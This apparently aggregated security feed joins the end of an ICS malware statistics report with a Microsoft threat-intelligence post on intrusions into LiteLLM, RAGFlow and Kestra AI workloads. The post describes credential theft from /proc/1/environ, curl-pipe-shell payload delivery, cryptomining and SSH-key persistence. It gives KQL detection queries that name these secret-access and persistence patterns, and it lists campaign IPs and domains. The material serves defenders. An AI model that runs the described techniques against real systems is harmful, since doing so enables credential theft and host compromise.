East Asia ranked third based on the figures for spyware (4.77%), behind Africa and Southeast Asia. This is the region’s highest rate since Q2 2025. Among the countries and territories in the region, the highest percentage of ICS computers on which spyware was blocked was in mainland China (6.61%). Among the selected industries in East Asia, the highest figures for spyware were in the electric power (11.75%) and manufacturing (5.87%) industries. In all the industries surveyed, the figures are higher than the regional average.

Southeast Asia ranked second after Africa in the ranking of regions in terms of spyware, with 5.32%. Among the selected industries in Southeast Asia, the highest figures for spyware were in biometrics (8.93%) and manufacturing (7.32%). The figures increased in all industries over the quarter.

Ransomware

The percentage of ICS computers on which ransomware was blocked decreased in the previous three quarters but increased to 0.16% in Q2 2026.

During the quarter, the percentage increased in all regions, except Western and Southern Europe and North America (Canada). Africa led the ranking in terms of growth for this metric.

In Q2 2026, Africa ranked first among the regions in terms of the percentage of ICS computers on which ransomware was blocked (0.29%). The only time the figure in the region was higher in the past three years was Q2 2025 (0.31%).

Among the selected industries in Africa, the highest figures for ransomware were in the electric power industry (0.72%) and biometrics (0.52%). Over the quarter, the figures increased in all industries, except manufacturing and construction. The biggest increase was recorded in the electric power industry.

In Russia, the percentage of ICS computers on which ransomware was blocked in biometric systems has increased for three consecutive quarters, reaching 1.22%. This is the highest level of ransomware across all industries in all regions.

Miners

In Q2 2026, the percentage of ICS computers on which miners were blocked was the lowest since 2021, for both miners in the form of executable files for Windows (0.48%) and web miners running in browsers (0.14%).

The figures for both categories decreased in all regions, except for Africa where figures for miners in the form of executable files for Windows increased slightly.

On average, the oil and gas industry led the rankings among the selected industries both in terms of miners in the form of executable files for the Windows OS (0.66%) and in terms of web miners (0.34%).

Worms

In Q2 2026, the percentage of ICS computers on which worms were blocked increased to 1.43%.

In Q2 2026, the Middle East (2.11%) was second (after Africa) in the rankings of regions in terms of worms, displacing Central Asia and the South Caucasus.

Among the selected industries in the Middle East, the highest percentage of ICS computers on which worms were blocked was in building automation (2.90%). Over the quarter, the figures increased in all industries.

Australia and New Zealand ranked 12th among the regions in terms of the percentage of ICS computers on which worms were blocked (0.41%). Over the past three years, the figure in this region was only higher in Q2 2024 (0.42%). The figures increased in all the surveyed industries in the region, most notably in manufacturing and electric power. As a result, for these industries they exceeded the regional average by 2.9 and 2.3 times, respectively.

Viruses

In Q2 2026, the percentage of ICS computers on which viruses were blocked decreased to 1.29%.

The top three regions for this metric remain unchanged: Southeast Asia (6.03%), Africa (4.22%), and East Asia (3.14%). These same regions lead the rankings in terms of malware for AutoCAD.

The figures increased in three regions: East Asia, Australia and New Zealand, and Africa, where it has been growing for four consecutive quarters and reached its highest value since 2022.

Among the selected industries in Africa, the highest percentage of ICS computers on which viruses were blocked was in construction (5.47%).

East Asia ranked third among the regions in terms of viruses, reaching the highest level in the region for the past three years. Among the countries and administrative regions of East Asia, mainland China is the clear leader in terms of viruses (5.07%).

Among the selected industries in East Asia, the highest percentage of ICS computers on which viruses were blocked was in construction (5.93%).

In Australia and New Zealand, the increase in the percentage of ICS computers on which viruses were blocked was primarily due to a 4.3-fold increase in the figure for the electric power industry: from 0.29% to 1.24%. For a region where the percentage of attacked ICS computers for all threats is 0.12%, this is a very high value.

Malware for AutoCAD

In Q2 2026, the percentage of ICS computers on which malware for AutoCAD was blocked increased to 0.31%.

The most notable increase over the quarter was observed in Africa. After more than doubling in the previous quarter, the figure for the region continued to rise (although not so dramatically), reaching 1.02%.

Among the selected industries across all regions, the highest percentage of ICS computers on which malware for AutoCAD was blocked was in construction in East Asia (6.38%) and in Southeast Asia (4.05%).

Main threat sources

In Q2 2026, of all the threat sources, the percentage increased only for email.

Percentage of ICS computers on which malicious objects from various sources were blocked

Internet

The percentage of ICS computers on which threats from the internet were blocked decreased to 7.61%, reaching its lowest level since 2021.

Over the quarter, the percentage increased in three regions: East Asia by 0.8 pp (to 6.3%), South Asia by 0.3 pp (to 10.4%), and Russia by 0.3 pp (to 6.4%).

Among the selected industries across all regions, the highest percentage of ICS computers on which threats from the internet were blocked was in biometrics (13.03%) and engineering and ICS integration (12.16%) in South Asia.

Email

The percentage of ICS computers on which email threats were blocked increased to 2.84%.

In Q2 2026, the percentage of ICS computers on which email threats were blocked increased in South America by 1.0 pp (to 5.2%) and in Africa by 0.7 pp (to 4.3%).

Among the selected industries across all regions, the highest percentage of ICS computers on which email threats were blocked was in biometrics (19.14%) and building automation (12.49%) in Southern Europe.

Removable media

The percentage of ICS computers on which threats from removable media were blocked continued to decrease, reaching 0.24%, the lowest value for the period under review.

Among the selected industries across all regions, the highest percentage of ICS computers on which threats from removable media were blocked was in the electric power industry in East Asia (1.34%) and biometrics in Africa (1.29%).

Network folders

The percentage of ICS computers on which threats from network folders were blocked continued to decrease. In Q2 2026, it was the lowest for the period under review, at 0.023%.

The only region to see an increase in the percentage of ICS computers on which threats from network folders were blocked during the quarter was Africa. This was mainly due to an increase in the building automation figure to 0.05%.

Among the selected industries across all regions, the highest percentage of ICS computers on which threats from network folders were blocked was in biometrics (0.23%), building automation (0.17%), and engineering and ICS integration (0.13%) in East Asia.

For more information on industrial threats see the full version of the report.

AI is creating a new layer of enterprise infrastructure. Gateways, retrieval platforms, orchestration services, and containerized runtimes now sit between users, applications, data, and models. These systems concentrate credentials, data access, model connectivity, and execution privileges, making them some of the most powerful components in the AI stack.

That concentration of trust is also creating new opportunities for attackers. In recent investigations, Microsoft observed activity targeting three distinct AI workloads: a LiteLLM gateway, a RAGFlow deployment, and a Kestra workflow environment. The intrusion paths varied, but the objectives were strikingly similar. Attackers sought to steal credentials, establish persistence, and monetize compromised compute resources.

The individual techniques matter, but the broader pattern matters more. Across these cases, attackers treated AI infrastructure as a control plane where credential theft, host compromise, and downstream data access can converge. As organizations continue to deploy AI systems, these platforms are becoming high value targets that deserve the same security scrutiny as other critical enterprise infrastructure.

AI workloads are becoming high-value control points

The campaign-level signal extends beyond one product. The targeted workloads served different functions, but each exposed assets that could support follow-on abuse, including model-provider keys, proxy-issued virtual keys, database connection strings, tenant configuration, workflow execution, or host compute. Post-compromise behavior varied by workload role. Defenders should inventory exposed AI management surfaces, restrict administrative access, and monitor for gateway-originated execution and secret access.

Three observed compromises across AI workloads

Case study 1: LiteLLM gateway compromise

Framework role and affected runtime context

LiteLLM is commonly deployed as a proxy or gateway between applications and model providers. In that position, the service may hold or retrieve model-provider keys, LiteLLM master keys, virtual-key records, database connection strings, routing configuration, and tenant policy data. Command execution in the gateway runtime therefore exposed a process context close to AI routing and credential material.

Initial access

Microsoft assesses with high confidence that initial access likely occurred through exploitation of the exposed LiteLLM gateway surface. Relevant public vulnerability paths include CVE-2026-42271, an authenticated command-execution issue in LiteLLM MCP stdio test endpoints, and the route described in public research that chains this flaw with CVE-2026-48710, a Starlette host-header validation bypass, to achieve unauthenticated remote code execution in vulnerable exposed deployments.

In this chain, CVE-2026-42271 provides the command execution capability through the MCP stdio test path, while CVE-2026-48710 can weaken the authentication boundary in affected configurations, potentially making that capability reachable without valid credentials.

In this case, initial access occurred in the context of the LiteLLM gateway process. The gateway service, rather than an unrelated system process, became the execution origin. Subsequent activity from that point is described in the observed attack chain below.

Observed attack chain

Stage 1: Credential harvesting from the gateway runtime

The first observed stage was credential harvesting from the LiteLLM gateway runtime. The payload read the gateway process environment and filtered for credential-related values, including model-provider API keys, the LiteLLM master key, database connection strings, UI credentials, tokens, passwords, and other secret-like fields.

In containerized LiteLLM deployments where the gateway runs as PID 1, /proc/1/environ exposes the environment block for the gateway process. Telemetry showed the payload reading /proc/1/environ, filtering for keywords such as master, API key, token, password, and UI-related fields, then sending collected values to attacker-controlled infrastructure.

The exfiltration logic used multiple transports in sequence, including Python urllib, curl, and wget. This provided fallback paths if one tool was unavailable or if egress controls affected one outbound method.

Stage 2: Payload delivery and masqueraded execution

The second stage moved from gateway-level command execution to payload delivery. The first delivery path launched from the compromised LiteLLM gateway process as an inline Python command. The code retrieved a masqueraded ELF binary from attacker-controlled infrastructure, staged it under a temporary path, marked it executable, and launched it with command-line arguments resembling a Linux service process.

The downloaded ELF used service-style naming and arguments to masquerade as a benign Linux daemon.

A second delivery path used a shell-stage downloader. A gateway-spawned Python command invoked a shell that used multiple download methods with short timeouts and fallback behavior, staged the retrieved content under randomized temporary paths, marked it executable, and launched it with supplied parameters. Together, these paths show redundant payload retrieval and execution from the gateway process context.

The third stage performed host discovery from the second-stage payload. Observed commands fingerprinted the host, checked privilege boundaries, inspected listening ports, and searched for other miner or remote-access activity on the system.

Relevant artifacts included a silent passwordless-sudo check, listening-port inspection, and multiple process sweeps for miner or remote-access tooling. The searches included terms associated with miners, remote shells, competing infrastructure, and previously dropped scripts.

Stage 4: Cryptomining preparation and competing-miner removal

The fourth stage prepared the host for cryptocurrency mining and removed competing persistence. Telemetry showed XMRig or XMRig-like mining components, RandomX-related tuning, and cleanup commands targeting other miners.

Two artifacts were central. A command loaded the Linux Model-Specific Register module with write access enabled, a behavior commonly associated with RandomX/XMRig CPU tuning. Separately, a crontab rewrite removed entries associated with other miner names before writing the modified cron data back.

Stage 5: LiteLLM database access through Azure PostgreSQL

The fifth stage used the previously collected database connection string to access the LiteLLM-backed PostgreSQL data tier. This moved the activity from host-level secret exposure into application-layer data collection from the gateway backend database.

Telemetry captured a self-contained python3 one-liner that read the gateway PID 1 environment, parsed DATABASE_URL, installed or imported PostgreSQL support, connected to the database, and dumped LiteLLM model and virtual-key records. The connection string referenced <name>.postgres.database.azure.com, indicating Azure Database for PostgreSQL.

The payload targeted LiteLLM tables including LiteLLM_ProxyModelTable and LiteLLM_VerificationToken. The collected records could include model configuration, upstream provider key material, provider endpoints, and proxy-issued virtual keys.

Output was base64-encoded and exfiltrated in small chunks to an out-of-band callback endpoint. A sibling variant posted data to a separate web endpoint that was also observed during the earlier credential-harvesting stage.

Stage 6: Persistence, command-and-control, and defence evasion

The sixth stage added persistence, command-and-control, and defence-evasion mechanisms. Observed artifacts included service-account SSH authorized-key modification, hidden-file relay execution, masqueraded service names, self-relaunch loops, and immutable-file attributes.

The durable access artifact was an authorized_keys write under a service account. Additional artifacts included hidden-file relay execution, command-and-control relay components, masqueraded systemd service names, and relaunch paths under hidden temporary files.

Names used in relaunch paths overlapped with common Linux daemon naming patterns. Periodic out-of-band callbacks were also observed, providing network telemetry that the payload continued to execute and retained outbound connectivity.

Impact

The LiteLLM compromise produced multiple impact paths: provider credential exposure, proxy-issued key exposure, database-backed configuration access, host resource abuse, and durable service-account access. The gateway role made these impacts broader than a standard single-process application compromise.

Case study 2: RAGFlow compromise

Framework role and affected runtime context

RAGFlow supports document-processing and retrieval-augmented generation workflows and stores tenant LLM configuration. The observed execution occurred inside the RAGFlow container under the application runtime lineage. That context is important because the affected code paths process provider credentials when users add or modify LLM settings.

Initial access and compromise pattern

Microsoft assesses with high confidence that initial access likely occurred through exploitation of the exposed RAGFlow application surface. Telemetry showed the RAGFlow server process retrieving an attacker-supplied URL through the application’s own HTTP client, resulting in an outbound Burp Collaborator callback without corresponding child-process execution. Remote code execution in the same service context followed later in the observed sequence.

Microsoft assesses with low confidence which specific vulnerability, if any, enabled that code execution. Because the relevant application code paths execute within the RAGFlow Flask service process, endpoint telemetry could not distinguish the precise execution sink. Publicly documented vulnerabilities affecting relevant RAGFlow versions include CVE-2026-45312 and CVE-2026-28797, authenticated Jinja2 server-side template injection issues in the prompt generator and Agent workflow components; CVE-2026-24770, a MinerU parser path-traversal issue that can permit arbitrary file overwrite and subsequent code execution; and CVE-2025-68700, a Canvas CodeExec sandbox-bypass issue tracked as GHSA-8xw3-v6c2-j84j.

These vulnerabilities provide plausible technical context but are not attributed as the confirmed cause of this intrusion. Depending on the affected version and deployment configuration, access to authenticated functionality could also be influenced by separate account-access weaknesses, including CVE-2025-69286. For defenders, the possible SSRF activity through the OASTify relay network is a useful precursor signal because remote code execution in the same service context followed several days later.

Observed attack chain

Stage 1: Application discovery and hook creation

The first payload stage located the RAGFlow installation from inside the container and identified the tenant LLM model-configuration path. Telemetry showed discovery logic for common application locations, followed by creation of a hidden runtime hook under the application tree.

Stage 2: Persistence through application startup modification

The second stage modified the application startup or import path so the hidden hook would load with the RAGFlow service. This tied the credential-interception behavior to the application runtime rather than to a separate long-running process.

Stage 3: Credential interception during LLM configuration

The hook wrapped the tenant LLM configuration flow and captured newly supplied provider metadata during credential setup. Captured fields included provider type, model name, API key material, and related endpoint metadata. The collection routine used outbound HTTP from within the container and suppressed errors so the application flow could continue if collection failed.

Stage 4: Finalization and installation verification

The final stage wrote or refreshed the hook and created a local marker indicating that installation had completed. Command-line telemetry was partially truncated, but the repeated execution sequence, process lineage, and application-file modifications were sufficient to reconstruct the functional behavior.

Impact

The RAGFlow compromise was primarily focused on LLM credential collection rather than host monetization. Telemetry did not show miner deployment or an interactive reverse shell in this case. The affected runtime path could capture provider credentials configured after the hook was installed, and the startup-path modification could persist across service restarts if the modified filesystem state remained present. SSH-key material was also written inside the container, but its durability depends on container privileges, filesystem persistence, and host-container boundary configuration.

Case study 3: Kestra compromise

Framework role and affected runtime context

Kestra is a workflow orchestration environment. Because workflows are designed to execute tasks and interact with external systems, abuse of workflow-creation and execution capabilities can provide direct code execution in the worker runtime.

Initial access and compromise pattern

Microsoft assesses with high confidence that initial access likely occurred through exploitation of CVE-2026-49869, a critical authentication-bypass vulnerability in Kestra. Exploitation could allow an unauthenticated remote attacker with network access to bypass the login mechanism, define a malicious workflow using the Process runner, and trigger worker-side shell-script execution.

Following the assessed initial-access sequence, telemetry showed two closely timed workflow-origin shell sessions. The first produced shell initialization activity, while the second performed the main follow-on actions, including Docker socket access, container-environment enumeration, miner deployment, and defence-evasion file operations. A later workflow-origin event used a curl-pipe-shell delivery pattern to retrieve remote script content directly into a shell and store collected output through the application’s own key-value interface.

Observed attack chain

Stage 1: Workflow-origin shell execution

Telemetry showed the Kestra worker lineage spawning shell activity from the orchestration layer. Two closely timed workflow-origin shell sessions were observed; the first produced shell initialization activity, while the second performed the main follow-on actions.

Stage 2: Docker container environment discovery

After workflow-origin execution, commands accessed the mounted Docker socket from inside the compromised orchestration environment. The activity queried container metadata and inspected container environment arrays, exposing environment-backed values from other containers reachable through the mounted runtime socket.

This behavior is significant because workflow engines often run near automation secrets. Environment arrays, mounted configuration, service credentials, and container metadata may expose cloud keys, database passwords, API tokens, or internal service endpoints when the container runtime socket is accessible.

Stage 3: Cryptominer deployment

The monetization phase followed the workflow-origin execution chain. Telemetry showed miner retrieval from a public release source, archive extraction, binary renaming, background execution, and mining-pool communication. CPU-tuning behavior commonly associated with RandomX/XMRig mining was also observed.

Additional defence-evasion file operations were observed around a temporary path, including restrictive permissions and immutable-file attributes. These artifacts provide file-system telemetry alongside the workflow-origin process lineage and network activity.

Stage 4: Data harvesting through workflow task execution

A later workflow-origin event used a curl-pipe-shell pattern for follow-on collection. Remote script content was retrieved and executed directly by the shell without being written as a standalone script file first. The resulting output was encoded and stored through Kestra’s own key-value interface.

Impact

The Kestra compromise exposed four impact paths: shell execution through the workflow engine, container-environment exposure through Docker socket access, host resource hijacking through miner deployment, and follow-on collection through workflow task execution. The later curl-pipe-shell event encoded collected output and stored it through Kestra’s own key-value interface, reducing reliance on standalone file artifacts.

Possible AI-assisted payload development

Several payloads exhibited characteristics often associated with assisted or generated code, including organized imports, explicit timeout handling, dependency fallbacks, formatted output, defensive exception handling, and explanatory comments. Compared with minimal, one-off shell payloads, these samples showed a more structured and robust implementation style.

These characteristics are observations about the tooling, not evidence of attribution. From a security perspective, their significance is that they can improve payload portability and resilience across Linux and container environments. No conclusion about the code’s authorship or development method is required.

Key patterns observed across AI workloads

Initial access differed by workload. LiteLLM involved command execution from the gateway runtime. RAGFlow progressed from SSRF-style probing to runtime modification. Kestra used workflow execution as the shell-access path.

The observed objectives were consistent. Across the cases, telemetry showed credential collection, durable access mechanisms, and resource monetization, even though the execution path differed by product.

Payload behavior was specific to each workload. LiteLLM payloads targeted gateway environment variables and database-backed proxy records. RAGFlow activity targeted LLM credential configuration. Kestra activity focused on workflow execution, container discovery, and cryptomining.

What this means for defenders: Defenders should monitor AI workloads according to their control-plane role, not only as isolated applications. Gateway, retrieval, and orchestration services can concentrate credentials, database access, workflow execution, and container privileges in one runtime. High-value detections should therefore correlate unexpected application-origin shells or interpreters with secret access, application-file modification, Docker socket use, outbound callbacks, and resource-hijacking activity. Treating these signals as a connected compromise path can expose attacks earlier than product-specific indicators alone.

Mitigation and protection guidance

Microsoft recommends the following mitigations to help reduce the risk and impact of AI workload compromise.

• Treat AI gateways as Tier-0 secrets stores. Keep LiteLLM and similar proxies patched, require authentication across API and UI surfaces, restrict administrative and management ports, and do not expose management interfaces directly to the internet.
• Scope and protect provider credentials. Issue per-team virtual keys with spend limits instead of sharing master keys, store upstream API keys in a managed secret store rather than process environment variables, and rotate credentials associated with an exposed or compromised gateway.
• Apply least privilege to gateway and database access. Run the proxy under a dedicated service account, limit its PostgreSQL permissions to required objects, place the database behind a private endpoint with restrictive firewall rules, and enable Microsoft Defender for Cloud monitoring for the database and surrounding cloud resources.
• Constrain outbound traffic. Use deny-by-default egress rules and allowlist only required model-provider and service endpoints. Block direct connections to raw-IP hosts and non-standard ports, and route permitted traffic through an FQDN-filtering firewall or inspecting proxy.
• Monitor outbound callbacks and campaign infrastructure. Filter and log DNS traffic to identify out-of-band callbacks and subdomain-encoded beacons, and monitor connections to campaign-associated C2 and OAST domains.
• Harden the host runtime. Mount temporary directories as non-executable where operationally feasible, alert on execution from world-writable paths, and monitor changes to cron entries, SSH authorized_keys files, and immutable-file attributes.

Enable Microsoft Defender for Endpoint protections on Linux. Keep real-time and cloud-delivered protection enabled to detect files written to disk, newly observed droppers, miners, and second-stage payloads. Enable behavior monitoring for anomalous child processes, credential access, data staging, exfiltration, and persistence activity.

Microsoft Defender detections

Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, cloud workloads, and apps to provide integrated protection against attacks on AI infrastructure like the one discussed in this blog. Given the criticality of this new attack layer, defender is providing differentiated visibility, detection and protection from attacks against AI resources. Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run prebuilt promptbooks to automate incident response or investigation tasks related to this threat:

• Incident investigation: correlate gateway process, credential-access, mining, and persistence signals into a single timeline and surface the provider keys that may have been exposed.
• Microsoft user analysis: assess accounts and service principals whose credentials the gateway could have exposed.

Advanced hunting queries

Microsoft Defender XDR customers can use these Advanced hunting queries to identify behaviors associated with this intrusion across Linux workloads and AI gateway environments. Each query focuses on a specific detection objective and is designed to help analysts validate suspicious activity, pivot across related process and network telemetry, and prioritize results that combine gateway-originated execution, secret access, payload staging, persistence, or outbound communication. Tune the queries for known administrative activity and approved gateway maintenance in your environment.

When reviewing results, prioritize events where a gateway process launches a shell, downloader, interpreter, or system utility; where command lines reference /proc/1/environ, LiteLLM database tables, provider keys, or PostgreSQL libraries; and where outbound traffic reaches raw-IP infrastructure or out-of-band callback domains. Matches that combine gateway ancestry, secret-access terms, and outbound communication should be treated as higher confidence.

AI gateway process spawning shells, downloaders, or interpreters

This query looks for a LiteLLM gateway process launching execution utilities that are not expected for normal model-routing activity. In this intrusion, that relationship was the earliest high-value pivot: the gateway runtime became the parent process for shell commands, Python one-liners, downloaders, secret discovery, and follow-on payload execution.

// Low-FP pivot: AI gateway parent process spawning execution utilities.
DeviceProcessEvents
| where isnotempty(ProcessCommandLine) and isnotempty(InitiatingProcessCommandLine)
| extend ParentCmd = tolower(InitiatingProcessCommandLine), Cmd = tolower(ProcessCommandLine)
| where ParentCmd has_any ("litellm", "litellm-proxy", "litellm_proxy", "ragflow", "kestra")
| where FileName in~ ("bash", "sh", "dash", "curl", "wget", "python", "python3")
| where Cmd has_any ("/proc/1/environ", "database_url", "psycopg2", "urllib.request", "urlretrieve", "base64")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, ProcessId, InitiatingProcessId
| sort by Timestamp asc

Direct access to container environment variables

This query detects command-line access to /proc/1/environ, a high-signal behavior in containerized services where the main process often runs as PID 1. For an AI gateway, this environment can contain model-provider API keys, the gateway master key, database connection strings, UI passwords, and other secrets.

// High-signal secret access in containerized services.
DeviceProcessEvents
| where isnotempty(ProcessCommandLine)
| extend Cmd = tolower(ProcessCommandLine)
| where Cmd contains "/proc/1/environ"
| where FileName in~ ("cat", "bash", "sh", "python", "python3", "grep")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, ProcessId, InitiatingProcessId
| sort by Timestamp asc

LiteLLM-specific secret and configuration discovery

This query narrows secret-discovery hunting to LiteLLM-specific context before matching sensitive terms. That structure reduces noise from generic words such as key, token, and password, while still surfacing command lines that reference LiteLLM proxy tables, virtual keys, provider configuration, or database material.

// Hunt for command lines that combine LiteLLM context with secret-related terms.
// This helps reduce false positives from generic credential keywords.
DeviceProcessEvents
| where isnotempty(ProcessCommandLine)
| extend Cmd = tolower(ProcessCommandLine)
| where Cmd has_any (
    "litellm",
    "litellm_proxymodeltable",
    "litellm_verificationtoken",
    "proxymodeltable",
    "verificationtoken"
)
| where Cmd has_any (
    "secret",
    "token",
    "key",
    "password",
    "master",
    "database_url",
    "postgres",
    "psycopg2",
    "psycopg2-binary"
)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, ProcessId, InitiatingProcessId, FolderPath
| sort by Timestamp asc

Python-based database credential discovery

This query hunts for Python execution that references database connection material or PostgreSQL client libraries. In the observed attack chain, Python was used to parse DATABASE_URL, install or import PostgreSQL support, and access LiteLLM-backed database tables containing model configuration and virtual-key material.

// Hunt for Python activity associated with database credential discovery or use.
// Pivot from matches to parent process, network connections, and any package-install activity.
DeviceProcessEvents
| where isnotempty(ProcessCommandLine)
| extend Cmd = tolower(ProcessCommandLine)
| where Cmd has_any ("python", "python2", "python3")
| where Cmd has_any (
    "database_url",
    "postgres",
    "postgresql",
    "psycopg2",
    "psycopg2-binary"
)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, ProcessId, InitiatingProcessId, FolderPath
| sort by Timestamp asc

Shell-based secret discovery with text-processing tools

This query looks for common Linux text-processing utilities used to search environment files, application configuration, or LiteLLM-related material for secrets. It requires three signals: a discovery utility, a relevant target, and a sensitive keyword, making it more precise than broad keyword searches alone.

// Hunt for shell utilities searching for secrets in environment or configuration data.
// Higher confidence results combine a discovery tool, a relevant target, and a secret keyword.
DeviceProcessEvents
| where isnotempty(ProcessCommandLine)
| extend Cmd = tolower(ProcessCommandLine)
| where Cmd has_any ("grep", "egrep", "fgrep", "awk", "sed", "cat", "strings")
| where Cmd has_any ("litellm", "database_url", "environ")
    or Cmd contains "/proc/1/environ"
    or Cmd contains ".env"
| where Cmd has_any ("secret", "token", "key", "password", "master", "postgres")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, ProcessId, InitiatingProcessId, FolderPath
| sort by Timestamp asc

Combined high-signal secret-discovery triage

This combined query is useful for triage dashboards or incident review because it labels each result with a detection reason. Analysts can use the DetectionReason field to quickly separate direct environment access, LiteLLM-specific secret discovery, Python database credential access, and shell-based searching.

// Combined triage query using only high-confidence secret-discovery signals.
DeviceProcessEvents
| where isnotempty(ProcessCommandLine)
| extend Cmd = tolower(ProcessCommandLine)
| extend DetectionReason = case(
    Cmd contains "/proc/1/environ", "Direct access to PID 1 environment variables",
    Cmd has_any ("litellm", "litellm_proxymodeltable", "litellm_verificationtoken", "proxymodeltable", "verificationtoken") and Cmd has_any ("database_url", "postgres", "psycopg2", "master", "secret", "token", "password"), "LiteLLM-related secret or database discovery",
    FileName in~ ("python", "python2", "python3") and Cmd has_any ("database_url", "postgres", "postgresql", "psycopg2", "psycopg2-binary"), "Python-based database credential discovery",
    "")
| where DetectionReason != ""
| project Timestamp, DeviceName, AccountName, FileName, DetectionReason, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, ProcessId, InitiatingProcessId
| sort by Timestamp asc

Second-stage payload retrieval and masqueraded execution

This query identifies the payload-delivery pattern observed after gateway execution: raw-IP retrieval, staging under /tmp, and execution with supervisord-style arguments or bridge-related environment values. Review matches for masquerading, unexpected executable files in world-writable paths, and parentage from the gateway process.

// Hunt for staged payload execution and supervisord-style masquerading.
// Focus on /tmp execution, bridge variables, and known payload path fragments.
DeviceProcessEvents
| where isnotempty(ProcessCommandLine)
| where ProcessCommandLine has_any ("/private/python3", "/anonymus/bins_s", "BRIDGE_STANDALONE", "PORT")
    or (FolderPath == "/tmp/python3" and ProcessCommandLine has "supervisord")
| project Timestamp, DeviceName, AccountName, FileName, FolderPath, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, ProcessId, InitiatingProcessId
| sort by Timestamp asc

Crypto mining preparation through MSR write access

This query hunts for attempts to load the Linux msr kernel module with write access enabled. That behavior is strongly associated with performance tuning for RandomX/XMRig mining and is unusual on most production servers unless explicitly approved for low-level performance testing.

// Hunt for MSR write access often used to optimize RandomX/XMRig mining.
// Validate whether the host has any legitimate reason to load msr with allow_writes.
DeviceProcessEvents
| where isnotempty(ProcessCommandLine)
| where ProcessCommandLine has_all ("modprobe", "msr", "allow_writes")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, ProcessId, InitiatingProcessId
| sort by Timestamp asc

Persistence, hidden relay execution, and defense evasion

This query groups the persistence and defense-evasion behaviors observed in the intrusion: hidden-file relaunch from /tmp, cron manipulation, SSH authorized-key modification, and immutable-flag changes. These signals should be reviewed with process ancestry and file-write events to identify the account and payload responsible for durable access.

// Hunt for persistence and defense-evasion activity used to keep the payload running. // Review matches for service-account abuse, hidden /tmp execution, and cleanup resistance. DeviceProcessEvents | where isnotempty(ProcessCommandLine) | where (ProcessCommandLine contains "exec /tmp/." and ProcessCommandLine contains "-c /tmp/.")     or (ProcessCommandLine contains "crontab" and ProcessCommandLine contains "grep -v")     or ProcessCommandLine has "chattr"     or (ProcessCommandLine has "authorized_keys" and ProcessCommandLine contains ">>") | project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, ProcessId, InitiatingProcessId, FolderPath | sort by Timestamp asc

Outbound communication to known campaign infrastructure

This query hunts for connections to infrastructure directly tied to the observed campaign. To reduce false positives, it focuses on known campaign domains/IPs and execution tools commonly used in the attack chain.

// Known campaign infrastructure only (low-FP network pivot).
DeviceNetworkEvents
| extend RU = tolower(RemoteUrl), RIP = tostring(RemoteIP)
| where RU has_any ("yosemite.jp", "gobygo.net", "auto.c3pool.org", "45.150.109.151.sslip.io")
    or RIP in ("45.150.109.151", "135.125.10.56", "172.232.38.92", "47.86.197.116", "2001:41d0:701:1100::adfd")
| where InitiatingProcessFileName in~ ("bash", "sh", "dash", "python", "python3", "curl", "wget", "nohup")
| project Timestamp, DeviceName, InitiatingProcessAccountName, InitiatingProcessFileName, InitiatingProcessCommandLine, RemoteUrl, RemoteIP, RemotePort
| sort by Timestamp asc

For higher-confidence triage, correlate these results across time and telemetry types. A single match may represent administrative activity, but the combination of gateway-originated execution, secret access, database-focused Python, payload staging in /tmp, MSR tuning, persistence attempts, and outbound callbacks should be investigated as a potential end-to-end compromise path.

MITRE ATT&CK techniques observed

Indicators of compromise

Network indicators

File indicators

References

• CVE-2026-42271: LiteLLM MCP command-execution vulnerability, NVD entry

• LiteLLM: Authenticated command execution via MCP stdio test endpoints, GitHub advisory
• LiteLLM: Proxy security, virtual keys, and key management documentation
• Horizon3.ai: CVE-2026-42271 chained with CVE-2026-48710 unauthenticated RCE

• CISA: Adds Two Known Exploited Vulnerabilities to Catalog

• Microsoft: Taking legal action to protect the public from abusive AI-generated content
• Microsoft: Disrupting a global cybercrime network abusing generative AI
  
• CVE-2026-48710: Starlette host-header validation bypass, CVE record
• CVE-2026-45312: RAGFlow prompt-generator server-side template injection, CVE record
• CVE-2026-28797: RAGFlow Agent workflow server-side template injection, CVE record
• CVE-2026-24770: RAGFlow MinerU parser path-traversal vulnerability, CVE record
• CVE-2025-68700: RAGFlow Canvas CodeExec sandbox-bypass vulnerability, CVE record
• GHSA-8xw3-v6c2-j84j: RAGFlow Canvas CodeExec sandbox-bypass advisory
• CVE-2025-69286: RAGFlow account-access weakness, CVE record
• CVE-2026-49869: Kestra authentication-bypass vulnerability, CVE record
• Microsoft Learn: Create prompts in Microsoft Security Copilot

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.  

• How Microsoft discovers and mitigates evolving attacks against AI guardrails
• Learn more about securing Copilot Studio agents with Microsoft Defender 
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Microsoft 365 Copilot AI security documentation

The post When AI infrastructure becomes the target: Securing gateways and control points appeared first on Microsoft Security Blog.

Explore Unit 42 research on AI-enabled malware. Learn how existing behavioral detection and endpoint analytics stop AI-authored code before execution.

The post The State of AI-Enabled Malware August 2026: From Brand Abuse to Agentic Execution appeared first on Unit 42.